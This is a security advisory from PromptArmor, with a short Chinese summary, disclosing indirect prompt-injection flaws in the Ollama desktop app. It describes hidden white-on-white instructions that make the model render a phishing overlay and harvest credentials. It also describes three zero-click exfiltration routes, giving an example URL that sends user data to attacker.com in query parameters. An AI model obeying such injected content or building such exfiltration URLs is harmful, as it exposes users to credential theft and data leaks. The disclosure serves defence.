PromptArmor 披露 Ollama 桌面端漏洞:钓鱼覆盖与零点击数据外泄
PromptArmor 披露 Ollama 桌面应用的多个漏洞,攻击者可通过间接提示词注入用恶意 HTML 覆盖整个界面实施钓鱼,并发现三条零点击数据外泄途径,包括不安全的网页搜索工具、Markdown 图片和外部 HTML 渲染。
原文给出完整攻击链和时间线,读者可以据此评估 Ollama 桌面端的间接提示词注入风险。
NewPractical Guide to Navigating Ollama’s Controls
Context
Ollama is a leading tool for leveraging AI models, with over 170,000 stars on GitHub. Multiple vulnerabilities in the desktop app have been identified, enabling phishing and data exfiltration attacks.
The entire Ollama desktop interface can be overwritten by an attacker-controlled website via an indirect prompt-injection attack due to insecure rendering of model outputs.
Three zero-click data exfiltration vectors exploitable via indirect prompt injection were also identified.
Note: No human-in-the-loop approval steps are required for any attacks in this article.
These vulnerabilities were reported to the Ollama team on Dec 18, 2025, but no response was received despite four additional follow-ups. To ensure users are aware of these risks, this report is being disclosed publicly.
The Attack Chain
The user asks Ollama about an external website or externally-sourced file
A prompt injection is hidden on the external site in 1 pt font white-on-white text
The AI model is manipulated to output malicious HTML, overwriting the user interface with an attacker-controlled website
The AI model is manipulated to believe it must output an HTML element as part of its explanation to the user.
Note: Quitting and re-opening Ollama does not close the malicious overlay.
An attacker's phishing site renders over the Ollama interface The attacker logs the credentials entered into the malicious overlay
Data Exfiltration Attacks
In addition to the phishing risk noted above, three zero-click data exfiltration vectors that are exploitable via indirect prompt injection were identified.
Data exfiltration via insecure web search tooling
Data exfiltration via insecure rendering of Markdown image outputs
Data exfiltration via insecure rendering of external HTML elements
Below is a data exfiltration attack chain that weaponizes insecure web search tooling:
Note: This attack uses the same malicious website, but with a different prompt injection.
A data source with a prompt injection is ingested (website, document, etc.)
AI is manipulated to access a malicious URL, exfiltrating data from documents the user has been working with
The model is manipulated to construct a URL using the attacker’s domain, with data from the victim’s previously uploaded documents stored in query parameters.
attacker.com/?data={AI puts the user’s data here}
Data is exfiltrated when the model makes a request to an attacker-controlled URL The attacker’s server logs the model’s request, including the victim’s data
Responsible Disclosure
These vulnerabilities were reported to the Ollama team on Dec 18, 2025, but no response was received despite four additional follow-ups. To ensure users are aware of these risks, this report is being disclosed publicly.
Timeline
Dec 18, 2025 PromptArmor discloses to Ollama
Jan 20, 2026 PromptArmor follows up
Jan 26, 2026 PromptArmor follows up
Jan 29, 2026 PromptArmor follows up
Feb 19, 2026 PromptArmor follows up
May 28, 2026 Article published
We track every security and privacy control change in Ollama
PromptArmor Threat Intelligence
Is your organization protected from AI in vendors?
PromptArmor continuously monitors across your portfolio of third party AI in vendors, skills, plugins, connectors, MCP servers, models and more.
We detect vulnerabilities and changes like this, surfacing risk before it becomes an incident.
来源:PromptArmor:Threat Intelligence · promptarmor.com